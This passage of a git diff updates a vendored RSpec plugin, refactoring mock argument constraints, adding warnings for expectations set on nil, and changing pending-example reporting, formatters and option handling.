+++ b/vendor/plugins/rspec/lib/spec/mocks/argument_expectation.rb
@@ -1,215 +1,48 @@
module Spec
module Mocks
-
- class MatcherConstraint
- def initialize(matcher)
- @matcher = matcher
- end
-
- def matches?(value)
- @matcher.matches?(value)
- end
- end
-
- class LiteralArgConstraint
- def initialize(literal)
- @literal_value = literal
- end
-
- def matches?(value)
- @literal_value == value
- end
- end
- class RegexpArgConstraint
- def initialize(regexp)
- @regexp = regexp
- end
-
- def matches?(value)
- return value =~ @regexp unless value.is_a?(Regexp)
- value == @regexp
- end
- end
-
- class AnyArgConstraint
- def initialize(ignore)
- end
-
- def ==(other)
- true
- end
-
- # TODO - need this?
- def matches?(value)
- true
- end
- end
-
- class AnyArgsConstraint
- def description
- "any args"
- end
- end
-
- class NoArgsConstraint
- def description
- "no args"
- end
-
- def ==(args)
- args == []
- end
- end
-
- class NumericArgConstraint
- def initialize(ignore)
- end
-
- def matches?(value)
- value.is_a?(Numeric)
- end
- end
-
- class BooleanArgConstraint
- def initialize(ignore)
- end
-
- def ==(value)
- matches?(value)
- end
-
- def matches?(value)
- return true if value.is_a?(TrueClass)
- return true if value.is_a?(FalseClass)
- false
- end
- end
-
- class StringArgConstraint
- def initialize(ignore)
- end
-
- def matches?(value)
- value.is_a?(String)
- end
- end
-
- class DuckTypeArgConstraint
- def initialize(*methods_to_respond_to)
- @methods_to_respond_to = methods_to_respond_to
- end
-
- def matches?(value)
- @methods_to_respond_to.all? { |sym| value.respond_to?(sym) }
- end
-
- def description
- "duck_type"
- end
- end
-
- class HashIncludingConstraint
- def initialize(expected)
- @expected = expected
- end
-
- def ==(actual)
- @expected.each do | key, value |
- # check key for case that value evaluates to nil
- return false unless actual.has_key?(key) && actual[key] == value
- end
- true
- rescue NoMethodError => ex
- return false
- end
-
- def matches?(value)
- self == value
- end
-
- def description
- "hash_including(#{@expected.inspect.sub(/^\{/,"").sub(/\}$/,"")})"
- end
-
- end
-
-
class ArgumentExpectation
attr_reader :args
- @@constraint_classes = Hash.new { |hash, key| LiteralArgConstraint}
- @@constraint_classes[:anything] = AnyArgConstraint
- @@constraint_classes[:numeric] = NumericArgConstraint
- @@constraint_classes[:boolean] = BooleanArgConstraint
- @@constraint_classes[:string] = StringArgConstraint
def initialize(args, &block)
@args = args
@constraints_block = block
- if [:any_args] == args
- @expected_params = nil
- warn_deprecated(:any_args.inspect, "any_args()")
- elsif args.length == 1 && args[0].is_a?(AnyArgsConstraint) then @expected_params = nil
- elsif [:no_args] == args
- @expected_params = []
- warn_deprecated(:no_args.inspect, "no_args()")
- elsif args.length == 1 && args[0].is_a?(NoArgsConstraint) then @expected_params = []
- else @expected_params = process_arg_constraints(args)
+ if ArgumentConstraints::AnyArgsConstraint === args.first
+ @match_any_args = true
+ elsif ArgumentConstraints::NoArgsConstraint === args.first
+ @constraints = []
+ else
+ @constraints = args.collect {|arg| constraint_for(arg)}
end
end
- def process_arg_constraints(constraints)
- constraints.collect do |constraint|
- convert_constraint(constraint)
- end
- end
-
- def warn_deprecated(deprecated_method, instead)
- Kernel.warn "The #{deprecated_method} constraint is deprecated. Use #{instead} instead."
- end
-
- def convert_constraint(constraint)
- if [:anything, :numeric, :boolean, :string].include?(constraint)
- case constraint
- when :anything
- instead = "anything()"
- when :boolean
- instead = "boolean()"
- when :numeric
- instead = "an_instance_of(Numeric)"
- when :string
- instead = "an_instance_of(String)"
- end
- warn_deprecated(constraint.inspect, instead)
- return @@constraint_classes[constraint].new(constraint)
- end
- return MatcherConstraint.new(constraint) if is_matcher?(constraint)
- return RegexpArgConstraint.new(constraint) if constraint.is_a?(Regexp)
- return LiteralArgConstraint.new(constraint)
+ def constraint_for(arg)
+ return ArgumentConstraints::MatcherConstraint.new(arg) if is_matcher?(arg)
+ return ArgumentConstraints::RegexpConstraint.new(arg) if arg.is_a?(Regexp)
+ return ArgumentConstraints::EqualityProxy.new(arg)
end
def is_matcher?(obj)
return obj.respond_to?(:matches?) && obj.respond_to?(:description)
end
- def check_args(args)
- if @constraints_block
- @constraints_block.call(*args)
- return true
- end
-
- return true if @expected_params.nil?
- return true if @expected_params == args
- return constraints_match?(args)
+ def args_match?(given_args)
+ match_any_args? || constraints_block_matches?(given_args) || constraints_match?(given_args)
end
- def constraints_match?(args)
- return false if args.length != @expected_params.length
- @expected_params.each_index { |i| return false unless @expected_params[i].matches?(args[i]) }
- return true
+ def constraints_block_matches?(given_args)
+ @constraints_block ? @constraints_block.call(*given_args) : nil
end
-
+
+ def constraints_match?(given_args)
+ @constraints == given_args
+ end
+
+ def match_any_args?
+ @match_any_args
+ end
+
end
end
diff --git a/vendor/plugins/rspec/lib/spec/mocks/error_generator.rb b/vendor/plugins/rspec/lib/spec/mocks/error_generator.rb
index 01d8f720..44054651 100644
--- a/vendor/plugins/rspec/lib/spec/mocks/error_generator.rb
+++ b/vendor/plugins/rspec/lib/spec/mocks/error_generator.rb
@@ -44,7 +44,7 @@ module Spec
private
def intro
- @name ? "Mock '#{@name}'" : @target.inspect
+ @name ? "Mock '#{@name}'" : @target.class == Class ? "<#{@target.inspect} (class)>" : (@target.nil? ? "nil" : @target.to_s)
end
def __raise(message)
diff --git a/vendor/plugins/rspec/lib/spec/mocks/framework.rb b/vendor/plugins/rspec/lib/spec/mocks/framework.rb
index 92089673..89d24c44 100644
--- a/vendor/plugins/rspec/lib/spec/mocks/framework.rb
+++ b/vendor/plugins/rspec/lib/spec/mocks/framework.rb
@@ -3,7 +3,7 @@
# object in the system.
require 'spec/mocks/methods'
-require 'spec/mocks/argument_constraint_matchers'
+require 'spec/mocks/argument_constraints'
require 'spec/mocks/spec_methods'
require 'spec/mocks/proxy'
require 'spec/mocks/mock'
diff --git a/vendor/plugins/rspec/lib/spec/mocks/message_expectation.rb b/vendor/plugins/rspec/lib/spec/mocks/message_expectation.rb
index d0189614..e70adbe6 100644
--- a/vendor/plugins/rspec/lib/spec/mocks/message_expectation.rb
+++ b/vendor/plugins/rspec/lib/spec/mocks/message_expectation.rb
@@ -3,6 +3,10 @@ module Spec
class BaseExpectation
attr_reader :sym
+ attr_writer :expected_received_count, :method_block, :expected_from
+ protected :expected_received_count=, :method_block=, :expected_from=
+ attr_accessor :error_generator
+ protected :error_generator, :error_generator=
def initialize(error_generator, expectation_ordering, expected_from, sym, method_block, expected_received_count=1, opts={})
@error_generator = error_generator
@@ -13,7 +17,7 @@ module Spec
@return_block = nil
@actual_received_count = 0
@expected_received_count = expected_received_count
- @args_expectation = ArgumentExpectation.new([AnyArgsConstraint.new])
+ @args_expectation = ArgumentExpectation.new([ArgumentConstraints::AnyArgsConstraint.new])
@consecutive = false
@exception_to_raise = nil
@symbol_to_throw = nil
@@ -23,6 +27,23 @@ module Spec
@args_to_yield = []
end
+ def build_child(expected_from, method_block, expected_received_count, opts={})
+ child = clone
+ child.expected_from = expected_from
+ child.method_block = method_block
+ child.expected_received_count = expected_received_count
+ new_gen = error_generator.clone
+ new_gen.opts = opts
+ child.error_generator = new_gen
+ child.clone_args_to_yield @args_to_yield
+ child
+ end
+
+ def error_generator_opts=(opts={})
+ @error_generator.opts = opts
+ end
+ protected :error_generator_opts=
+
def expected_args
@args_expectation.args
end
@@ -63,16 +84,22 @@ module Spec
end
def and_yield(*args)
+ if @args_to_yield_were_cloned
+ @args_to_yield.clear
+ @args_to_yield_were_cloned = false
+ end
+
@args_to_yield << args
self
end
def matches(sym, args)
- @sym == sym and @args_expectation.check_args(args)
+ @sym == sym and @args_expectation.args_match?(args)
end
def invoke(args, block)
if @expected_received_count == 0
+ @failed_fast = true
@actual_received_count += 1
@error_generator.raise_expectation_error @sym, @expected_received_count, @actual_received_count, *args
end
@@ -103,6 +130,11 @@ module Spec
@actual_received_count += 1
end
end
+
+ def called_max_times?
+ @expected_received_count != :any && @expected_received_count > 0 &&
+ @actual_received_count >= @expected_received_count
+ end
protected
@@ -147,16 +179,25 @@ module Spec
@return_block.call(*args)
end
end
+
+ def clone_args_to_yield(args)
+ @args_to_yield = args.clone
+ @args_to_yield_were_cloned = true
+ end
+
+ def failed_fast?
+ @failed_fast
+ end
end
class MessageExpectation < BaseExpectation
def matches_name_but_not_args(sym, args)
- @sym == sym and not @args_expectation.check_args(args)
+ @sym == sym and not @args_expectation.args_match?(args)
end
def verify_messages_received
- return if expected_messages_received?
+ return if expected_messages_received? || failed_fast?
generate_error
rescue Spec::Mocks::MockExpectationError => error
diff --git a/vendor/plugins/rspec/lib/spec/mocks/methods.rb b/vendor/plugins/rspec/lib/spec/mocks/methods.rb
index d9fa324d..7387e4ff 100644
--- a/vendor/plugins/rspec/lib/spec/mocks/methods.rb
+++ b/vendor/plugins/rspec/lib/spec/mocks/methods.rb
@@ -9,8 +9,12 @@ module Spec
__mock_proxy.add_negative_message_expectation(caller(1)[0], sym.to_sym, &block)
end
- def stub!(sym, opts={})
- __mock_proxy.add_stub(caller(1)[0], sym.to_sym, opts)
+ def stub!(sym_or_hash, opts={})
+ if Hash === sym_or_hash
+ sym_or_hash.each {|method, value| stub!(method).and_return value }
+ else
+ __mock_proxy.add_stub(caller(1)[0], sym_or_hash.to_sym, opts)
+ end
end
def received_message?(sym, *args, &block) #:nodoc:
@@ -24,6 +28,14 @@ module Spec
def rspec_reset #:nodoc:
__mock_proxy.reset
end
+
+ def as_null_object
+ __mock_proxy.as_null_object
+ end
+
+ def null_object?
+ __mock_proxy.null_object?
+ end
private
@@ -31,7 +43,7 @@ module Spec
if Mock === self
@mock_proxy ||= Proxy.new(self, @name, @options)
else
- @mock_proxy ||= Proxy.new(self, self.class.name)
+ @mock_proxy ||= Proxy.new(self)
end
end
end
diff --git a/vendor/plugins/rspec/lib/spec/mocks/proxy.rb b/vendor/plugins/rspec/lib/spec/mocks/proxy.rb
index 45b96a30..ab51fd5b 100644
--- a/vendor/plugins/rspec/lib/spec/mocks/proxy.rb
+++ b/vendor/plugins/rspec/lib/spec/mocks/proxy.rb
@@ -4,8 +4,18 @@ module Spec
DEFAULT_OPTIONS = {
:null_object => false,
}
+
+ @@warn_about_expectations_on_nil = true
+
+ def self.allow_message_expectations_on_nil
+ @@warn_about_expectations_on_nil = false
+
+ # ensure nil.rspec_verify is called even if an expectation is not set in the example
+ # otherwise the allowance would effect subsequent examples
+ $rspec_mocks.add(nil) unless $rspec_mocks.nil?
+ end
- def initialize(target, name, options={})
+ def initialize(target, name=nil, options={})
@target = target
@name = name
@error_generator = ErrorGenerator.new target, name
@@ -20,15 +30,27 @@ module Spec
def null_object?
@options[:null_object]
end
+
+ def as_null_object
+ @options[:null_object] = true
+ @target
+ end
- def add_message_expectation(expected_from, sym, opts={}, &block)
+ def add_message_expectation(expected_from, sym, opts={}, &block)
__add sym
- @expectations << MessageExpectation.new(@error_generator, @expectation_ordering, expected_from, sym, block_given? ? block : nil, 1, opts)
+ warn_if_nil_class sym
+ if existing_stub = @stubs.detect {|s| s.sym == sym }
+ expectation = existing_stub.build_child(expected_from, block_given?? block : nil, 1, opts)
+ else
+ expectation = MessageExpectation.new(@error_generator, @expectation_ordering, expected_from, sym, block_given? ? block : nil, 1, opts)
+ end
+ @expectations << expectation
@expectations.last
end
def add_negative_message_expectation(expected_from, sym, &block)
__add sym
+ warn_if_nil_class sym
@expectations << NegativeMessageExpectation.new(@error_generator, @expectation_ordering, expected_from, sym, block_given? ? block : nil)
@expectations.last
end
@@ -50,6 +72,7 @@ module Spec
clear_stubs
reset_proxied_methods
clear_proxied_methods
+ reset_nil_expectations_warning
end
def received_message?(sym, *args, &block)
@@ -61,13 +84,16 @@ module Spec
end
def message_received(sym, *args, &block)
- if expectation = find_matching_expectation(sym, *args)
- expectation.invoke(args, block)
- elsif (stub = find_matching_method_stub(sym, *args))
+ expectation = find_matching_expectation(sym, *args)
+ stub = find_matching_method_stub(sym, *args)
+
+ if (stub && expectation && expectation.called_max_times?) || (stub && !expectation)
if expectation = find_almost_matching_expectation(sym, *args)
expectation.advise(args, block) unless expectation.expected_messages_received?
end
stub.invoke([], block)
+ elsif expectation
+ expectation.invoke(args, block)
elsif expectation = find_almost_matching_expectation(sym, *args)
expectation.advise(args, block) if null_object? unless expectation.expected_messages_received?
raise_unexpected_message_args_error(expectation, *args) unless (has_negative_expectation?(sym) or null_object?)
@@ -91,6 +117,12 @@ module Spec
define_expected_method(sym)
end
+ def warn_if_nil_class(sym)
+ if proxy_for_nil_class? && @@warn_about_expectations_on_nil
+ Kernel.warn("An expectation of :#{sym} was set on nil. Called from #{caller[2]}. Use allow_message_expectations_on_nil to disable warnings.")
+ end
+ end
+
def define_expected_method(sym)
visibility_string = "#{visibility(sym)} :#{sym}"
if target_responds_to?(sym) && !target_metaclass.method_defined?(munge(sym))
@@ -166,6 +198,14 @@ module Spec
end
end
end
+
+ def proxy_for_nil_class?
+ @target.nil?
+ end
+
+ def reset_nil_expectations_warning
+ @@warn_about_expectations_on_nil = true if proxy_for_nil_class?
+ end
def find_matching_expectation(sym, *args)
@expectations.find {|expectation| expectation.matches(sym, args)}
diff --git a/vendor/plugins/rspec/lib/spec/mocks/spec_methods.rb b/vendor/plugins/rspec/lib/spec/mocks/spec_methods.rb
index d92a4ced..aea5fd77 100644
--- a/vendor/plugins/rspec/lib/spec/mocks/spec_methods.rb
+++ b/vendor/plugins/rspec/lib/spec/mocks/spec_methods.rb
@@ -1,7 +1,7 @@
module Spec
module Mocks
module ExampleMethods
- include Spec::Mocks::ArgumentConstraintMatchers
+ include Spec::Mocks::ArgumentConstraints
# Shortcut for creating an instance of Spec::Mocks::Mock.
#
@@ -32,6 +32,14 @@ module Spec
def stub_everything(name = 'stub')
mock(name, :null_object => true)
end
+
+ # Disables warning messages about expectations being set on nil.
+ #
+ # By default warning messages are issued when expectations are set on nil. This is to
+ # prevent false-positives and to catch potential bugs early on.
+ def allow_message_expectations_on_nil
+ Proxy.allow_message_expectations_on_nil
+ end
end
end
diff --git a/vendor/plugins/rspec/lib/spec/rake/spectask.rb b/vendor/plugins/rspec/lib/spec/rake/spectask.rb
index 842e9615..b69d3a79 100644
--- a/vendor/plugins/rspec/lib/spec/rake/spectask.rb
+++ b/vendor/plugins/rspec/lib/spec/rake/spectask.rb
@@ -107,7 +107,7 @@ module Spec
# A message to print to stderr when there are failures.
attr_accessor :failure_message
- # Where RSpec's output is written. Defaults to STDOUT.
+ # Where RSpec's output is written. Defaults to $stdout.
# DEPRECATED. Use --format FORMAT:WHERE in spec_opts.
attr_accessor :out
diff --git a/vendor/plugins/rspec/lib/spec/rake/verify_rcov.rb b/vendor/plugins/rspec/lib/spec/rake/verify_rcov.rb
index 3328f9e9..199bd854 100644
--- a/vendor/plugins/rspec/lib/spec/rake/verify_rcov.rb
+++ b/vendor/plugins/rspec/lib/spec/rake/verify_rcov.rb
@@ -35,11 +35,11 @@ module RCov
def define
desc "Verify that rcov coverage is at least #{threshold}%"
task @name do
- total_coverage = nil
+ total_coverage = 0
File.open(index_html).each_line do |line|
- if line =~ /(\d+\.\d+)%<\/tt>/
- total_coverage = eval($1)
+ if line =~ /\s*(\d+\.\d+)%\s*<\/tt>/
+ total_coverage = $1.to_f
break
end
end
diff --git a/vendor/plugins/rspec/lib/spec/runner.rb b/vendor/plugins/rspec/lib/spec/runner.rb
index 961ba1b2..0f9b881a 100644
--- a/vendor/plugins/rspec/lib/spec/runner.rb
+++ b/vendor/plugins/rspec/lib/spec/runner.rb
@@ -185,17 +185,30 @@ module Spec
end
def register_at_exit_hook # :nodoc:
- $spec_runner_at_exit_hook_registered ||= nil
- unless $spec_runner_at_exit_hook_registered
+ @spec_runner_at_exit_hook_registered ||= nil
+ unless @spec_runner_at_exit_hook_registered
at_exit do
unless $! || Spec.run?
success = Spec.run
exit success if Spec.exit?
end
end
- $spec_runner_at_exit_hook_registered = true
+ @spec_runner_at_exit_hook_registered = true
end
end
+
+ def options # :nodoc:
+ @options ||= begin
+ parser = ::Spec::Runner::OptionParser.new($stderr, $stdout)
+ parser.order!(ARGV)
+ parser.options
+ end
+ end
+
+ def use options
+ @options = options
+ end
+
end
end
end
diff --git a/vendor/plugins/rspec/lib/spec/runner/backtrace_tweaker.rb b/vendor/plugins/rspec/lib/spec/runner/backtrace_tweaker.rb
index 587e57d9..b4fae8e3 100644
--- a/vendor/plugins/rspec/lib/spec/runner/backtrace_tweaker.rb
+++ b/vendor/plugins/rspec/lib/spec/runner/backtrace_tweaker.rb
@@ -40,15 +40,14 @@ module Spec
def tweak_backtrace(error)
return if error.backtrace.nil?
- error.backtrace.collect! do |line|
- clean_up_double_slashes(line)
- IGNORE_PATTERNS.each do |ignore|
- if line =~ ignore
- line = nil
- break
+ error.backtrace.collect! do |message|
+ clean_up_double_slashes(message)
+ kept_lines = message.split("\n").select do |line|
+ IGNORE_PATTERNS.each do |ignore|
+ break if line =~ ignore
end
end
- line
+ kept_lines.empty?? nil : kept_lines.join("\n")
end
error.backtrace.compact!
end
diff --git a/vendor/plugins/rspec/lib/spec/runner/command_line.rb b/vendor/plugins/rspec/lib/spec/runner/command_line.rb
index 9849c485..e7639a67 100644
--- a/vendor/plugins/rspec/lib/spec/runner/command_line.rb
+++ b/vendor/plugins/rspec/lib/spec/runner/command_line.rb
@@ -2,25 +2,14 @@ require 'spec/runner/option_parser'
module Spec
module Runner
- # Facade to run specs without having to fork a new ruby process (using `spec ...`)
class CommandLine
class << self
- # Runs specs. +argv+ is the commandline args as per the spec commandline API, +err+
- # and +out+ are the streams output will be written to.
- def run(instance_rspec_options)
- # NOTE - this call to init_rspec_options is not spec'd, but neither is any of this
- # swapping of $rspec_options. That is all here to enable rspec to run against itself
- # and maintain coverage in a single process. Therefore, DO NOT mess with this stuff
- # unless you know what you are doing!
- init_rspec_options(instance_rspec_options)
- orig_rspec_options = rspec_options
- begin
- $rspec_options = instance_rspec_options
- return $rspec_options.run_examples
- ensure
- ::Spec.run = true
- $rspec_options = orig_rspec_options
- end
+ def run(tmp_options=Spec::Runner.options)
+ orig_options = Spec::Runner.options
+ Spec::Runner.use tmp_options
+ tmp_options.run_examples
+ ensure
+ Spec::Runner.use orig_options
end
end
end
diff --git a/vendor/plugins/rspec/lib/spec/runner/formatter/base_formatter.rb b/vendor/plugins/rspec/lib/spec/runner/formatter/base_formatter.rb
index a1269b51..b3501c60 100644
--- a/vendor/plugins/rspec/lib/spec/runner/formatter/base_formatter.rb
+++ b/vendor/plugins/rspec/lib/spec/runner/formatter/base_formatter.rb
@@ -45,7 +45,9 @@ module Spec
# been provided a block), or when an ExamplePendingError is raised.
# +message+ is the message from the ExamplePendingError, if it exists, or the
# default value of "Not Yet Implemented"
- def example_pending(example, message)
+ # +pending_caller+ is the file and line number of the spec which
+ # has called the pending method
+ def example_pending(example, message, pending_caller)
end
# This method is invoked after all of the examples have executed. The next method
diff --git a/vendor/plugins/rspec/lib/spec/runner/formatter/base_text_formatter.rb b/vendor/plugins/rspec/lib/spec/runner/formatter/base_text_formatter.rb
index bad023db..7e8bb844 100644
--- a/vendor/plugins/rspec/lib/spec/runner/formatter/base_text_formatter.rb
+++ b/vendor/plugins/rspec/lib/spec/runner/formatter/base_text_formatter.rb
@@ -15,19 +15,14 @@ module Spec
super
if where.is_a?(String)
@output = File.open(where, 'w')
- elsif where == STDOUT
- @output = Kernel
- def @output.flush
- STDOUT.flush
- end
else
@output = where
end
@pending_examples = []
end
- def example_pending(example, message)
- @pending_examples << [example.__full_description, message]
+ def example_pending(example, message, pending_caller)
+ @pending_examples << [example.__full_description, message, pending_caller]
end
def dump_failure(counter, failure)
@@ -75,13 +70,14 @@ module Spec
@output.puts "Pending:"
@pending_examples.each do |pending_example|
@output.puts "#{pending_example[0]} (#{pending_example[1]})"
+ @output.puts " Called from #{pending_example[2]}"
end
end
@output.flush
end
def close
- if IO === @output
+ if IO === @output && @output != $stdout
@output.close
end
end
@@ -112,7 +108,7 @@ module Spec
def output_to_tty?
begin
- @output == Kernel || @output.tty?
+ @output.tty? || ENV.has_key?("AUTOTEST")
rescue NoMethodError
false
end
diff --git a/vendor/plugins/rspec/lib/spec/runner/formatter/html_formatter.rb b/vendor/plugins/rspec/lib/spec/runner/formatter/html_formatter.rb
index e5368f2c..51eee513 100644
--- a/vendor/plugins/rspec/lib/spec/runner/formatter/html_formatter.rb
+++ b/vendor/plugins/rspec/lib/spec/runner/formatter/html_formatter.rb
@@ -85,7 +85,7 @@ module Spec
@output.flush
end
- def example_pending(example, message)
+ def example_pending(example, message, pending_caller)
@output.puts " " unless @header_red
@output.puts " " unless @example_group_red
move_progress
diff --git a/vendor/plugins/rspec/lib/spec/runner/formatter/nested_text_formatter.rb b/vendor/plugins/rspec/lib/spec/runner/formatter/nested_text_formatter.rb
index f9aa5f67..dc91d3aa 100644
--- a/vendor/plugins/rspec/lib/spec/runner/formatter/nested_text_formatter.rb
+++ b/vendor/plugins/rspec/lib/spec/runner/formatter/nested_text_formatter.rb
@@ -40,7 +40,7 @@ module Spec
output.flush
end
- def example_pending(example, message)
+ def example_pending(example, message, pending_caller)
super
output.puts yellow("#{current_indentation}#{example.description} (PENDING: #{message})")
output.flush
diff --git a/vendor/plugins/rspec/lib/spec/runner/formatter/progress_bar_formatter.rb b/vendor/plugins/rspec/lib/spec/runner/formatter/progress_bar_formatter.rb
index 032a2872..226bd0a7 100644
--- a/vendor/plugins/rspec/lib/spec/runner/formatter/progress_bar_formatter.rb
+++ b/vendor/plugins/rspec/lib/spec/runner/formatter/progress_bar_formatter.rb
@@ -14,9 +14,9 @@ module Spec
@output.flush
end
- def example_pending(example, message)
+ def example_pending(example, message, pending_caller)
super
- @output.print yellow('P')
+ @output.print yellow('*')
@output.flush
end
diff --git a/vendor/plugins/rspec/lib/spec/runner/formatter/specdoc_formatter.rb b/vendor/plugins/rspec/lib/spec/runner/formatter/specdoc_formatter.rb
index facf1a65..486649d6 100644
--- a/vendor/plugins/rspec/lib/spec/runner/formatter/specdoc_formatter.rb
+++ b/vendor/plugins/rspec/lib/spec/runner/formatter/specdoc_formatter.rb
@@ -28,7 +28,7 @@ module Spec
output.flush
end
- def example_pending(example, message)
+ def example_pending(example, message, pending_caller)
super
output.puts yellow("- #{example.description} (PENDING: #{message})")
output.flush
diff --git a/vendor/plugins/rspec/lib/spec/runner/formatter/story/html_formatter.rb b/vendor/plugins/rspec/lib/spec/runner/formatter/story/html_formatter.rb
index 6c43ac8b..07b433d0 100644
--- a/vendor/plugins/rspec/lib/spec/runner/formatter/story/html_formatter.rb
+++ b/vendor/plugins/rspec/lib/spec/runner/formatter/story/html_formatter.rb
@@ -86,6 +86,7 @@ EOF
end
def scenario_started(story_title, scenario_name)
+ @previous_type = nil
@scenario_failed = false
@scenario_text = <<-EOF
\n"
+ if type == :'given scenario'
+ @previous_type = :given
+ else
+ @previous_type = type
+ end
+
end
end
end
diff --git a/vendor/plugins/rspec/lib/spec/runner/formatter/story/plain_text_formatter.rb b/vendor/plugins/rspec/lib/spec/runner/formatter/story/plain_text_formatter.rb
index 7f7f6144..2cd21e9e 100644
--- a/vendor/plugins/rspec/lib/spec/runner/formatter/story/plain_text_formatter.rb
+++ b/vendor/plugins/rspec/lib/spec/runner/formatter/story/plain_text_formatter.rb
@@ -104,7 +104,14 @@ module Spec
end
def run_ended
- @output.puts "#@count scenarios: #@successful_scenario_count succeeded, #{@failed_scenarios.size} failed, #@pending_scenario_count pending"
+ summary_text = "#@count scenarios: #@successful_scenario_count succeeded, #{@failed_scenarios.size} failed, #@pending_scenario_count pending"
+ if !@failed_scenarios.empty?
+ @output.puts red(summary_text)
+ elsif !@pending_steps.empty?
+ @output.puts yellow(summary_text)
+ else
+ @output.puts green(summary_text)
+ end
unless @pending_steps.empty?
@output.puts "\nPending Steps:"
@pending_steps.each_with_index do |pending, i|
@@ -116,11 +123,10 @@ module Spec
@output.print "\nFAILURES:"
@failed_scenarios.each_with_index do |failure, i|
title, scenario_name, err = failure
- @output.print %[
- #{i+1}) #{title} (#{scenario_name}) FAILED
- #{err.class}: #{err.message}
- #{err.backtrace.join("\n")}
-]
+ @output.print "\n #{i+1}) "
+ @output.print red("#{title} (#{scenario_name}) FAILED")
+ @output.print red("\n #{err.class}: #{err.message}")
+ @output.print "\n #{err.backtrace.join("\n")}\n"
end
end
end
diff --git a/vendor/plugins/rspec/lib/spec/runner/formatter/story/progress_bar_formatter.rb b/vendor/plugins/rspec/lib/spec/runner/formatter/story/progress_bar_formatter.rb
new file mode 100644
index 00000000..739adbcd
--- /dev/null
+++ b/vendor/plugins/rspec/lib/spec/runner/formatter/story/progress_bar_formatter.rb
@@ -0,0 +1,42 @@
+require 'spec/runner/formatter/story/plain_text_formatter'
+
+module Spec
+ module Runner
+ module Formatter
+ module Story
+ class ProgressBarFormatter < PlainTextFormatter
+
+ def story_started(title, narrative) end
+ def story_ended(title, narrative) end
+
+ def run_started(count)
+ @start_time = Time.now
+ super
+ end
+
+ def run_ended
+ @output.puts
+ @output.puts
+ @output.puts "Finished in %f seconds" % (Time.now - @start_time)
+ @output.puts
+ super
+ end
+
+ def scenario_ended
+ if @scenario_failed
+ @output.print red('F')
+ @output.flush
+ elsif @scenario_pending
+ @output.print yellow('P')
+ @output.flush
+ else
+ @output.print green('.')
+ @output.flush
+ end
+ end
+
+ end
+ end
+ end
+ end
+end
diff --git a/vendor/plugins/rspec/lib/spec/runner/heckle_runner.rb b/vendor/plugins/rspec/lib/spec/runner/heckle_runner.rb
index 7695fe79..4b82f7ef 100644
--- a/vendor/plugins/rspec/lib/spec/runner/heckle_runner.rb
+++ b/vendor/plugins/rspec/lib/spec/runner/heckle_runner.rb
@@ -25,7 +25,7 @@ module Spec
def heckle_method(class_name, method_name)
verify_constant(class_name)
- heckle = @heckle_class.new(class_name, method_name, rspec_options)
+ heckle = @heckle_class.new(class_name, method_name, Spec::Runner.options)
heckle.validate
end
@@ -39,7 +39,7 @@ module Spec
classes.each do |klass|
klass.instance_methods(false).each do |method_name|
- heckle = @heckle_class.new(klass.name, method_name, rspec_options)
+ heckle = @heckle_class.new(klass.name, method_name, Spec::Runner.options)
heckle.validate
end
end
diff --git a/vendor/plugins/rspec/lib/spec/runner/option_parser.rb b/vendor/plugins/rspec/lib/spec/runner/option_parser.rb
index 91525e08..46de5a97 100644
--- a/vendor/plugins/rspec/lib/spec/runner/option_parser.rb
+++ b/vendor/plugins/rspec/lib/spec/runner/option_parser.rb
@@ -34,11 +34,11 @@ module Spec
"an example name directly, causing RSpec to run just the example",
"matching that name"],
:specification => ["-s", "--specification [NAME]", "DEPRECATED - use -e instead", "(This will be removed when autotest works with -e)"],
- :line => ["-l", "--line LINE_NUMBER", Integer, "Execute behaviout or specification at given line.",
+ :line => ["-l", "--line LINE_NUMBER", Integer, "Execute behaviour or specification at given line.",
"(does not work for dynamically generated specs)"],
:format => ["-f", "--format FORMAT[:WHERE]","Specifies what format to use for output. Specify WHERE to tell",
"the formatter where to write the output. All built-in formats",
- "expect WHERE to be a file name, and will write to STDOUT if it's",
+ "expect WHERE to be a file name, and will write to $stdout if it's",
"not specified. The --format option may be specified several times",
"if you want several outputs",
" ",
@@ -54,6 +54,7 @@ module Spec
"Builtin formats for stories: ",
"plain|p : Plain Text",
"html|h : A nice HTML report",
+ "progress|r : Text progress",
" ",
"FORMAT can also be the name of a custom formatter class",
"(in which case you should also specify --require to load it)"],
@@ -93,30 +94,30 @@ module Spec
self.banner = "Usage: spec (FILE|DIRECTORY|GLOB)+ [options]"
self.separator ""
- on(*OPTIONS[:pattern]) {|pattern| @options.filename_pattern = pattern}
- on(*OPTIONS[:diff]) {|diff| @options.parse_diff(diff)}
- on(*OPTIONS[:colour]) {@options.colour = true}
- on(*OPTIONS[:example]) {|example| @options.parse_example(example)}
- on(*OPTIONS[:specification]) {|example| @options.parse_example(example)}
- on(*OPTIONS[:line]) {|line_number| @options.line_number = line_number.to_i}
- on(*OPTIONS[:format]) {|format| @options.parse_format(format)}
- on(*OPTIONS[:require]) {|requires| invoke_requires(requires)}
- on(*OPTIONS[:backtrace]) {@options.backtrace_tweaker = NoisyBacktraceTweaker.new}
- on(*OPTIONS[:loadby]) {|loadby| @options.loadby = loadby}
- on(*OPTIONS[:reverse]) {@options.reverse = true}
- on(*OPTIONS[:timeout]) {|timeout| @options.timeout = timeout.to_f}
- on(*OPTIONS[:heckle]) {|heckle| @options.load_heckle_runner(heckle)}
- on(*OPTIONS[:dry_run]) {@options.dry_run = true}
- on(*OPTIONS[:options_file]) {|options_file| parse_options_file(options_file)}
+ on(*OPTIONS[:pattern]) {|pattern| @options.filename_pattern = pattern}
+ on(*OPTIONS[:diff]) {|diff| @options.parse_diff(diff)}
+ on(*OPTIONS[:colour]) {@options.colour = true}
+ on(*OPTIONS[:example]) {|example| @options.parse_example(example)}
+ on(*OPTIONS[:specification]) {|example| @options.parse_example(example)}
+ on(*OPTIONS[:line]) {|line_number| @options.line_number = line_number.to_i}
+ on(*OPTIONS[:format]) {|format| @options.parse_format(format)}
+ on(*OPTIONS[:require]) {|requires| invoke_requires(requires)}
+ on(*OPTIONS[:backtrace]) {@options.backtrace_tweaker = NoisyBacktraceTweaker.new}
+ on(*OPTIONS[:loadby]) {|loadby| @options.loadby = loadby}
+ on(*OPTIONS[:reverse]) {@options.reverse = true}
+ on(*OPTIONS[:timeout]) {|timeout| @options.timeout = timeout.to_f}
+ on(*OPTIONS[:heckle]) {|heckle| @options.load_heckle_runner(heckle)}
+ on(*OPTIONS[:dry_run]) {@options.dry_run = true}
+ on(*OPTIONS[:options_file]) {|options_file| parse_options_file(options_file)}
on(*OPTIONS[:generate_options]) {|options_file|}
- on(*OPTIONS[:runner]) {|runner| @options.user_input_for_runner = runner}
- on(*OPTIONS[:drb]) {}
- on(*OPTIONS[:version]) {parse_version}
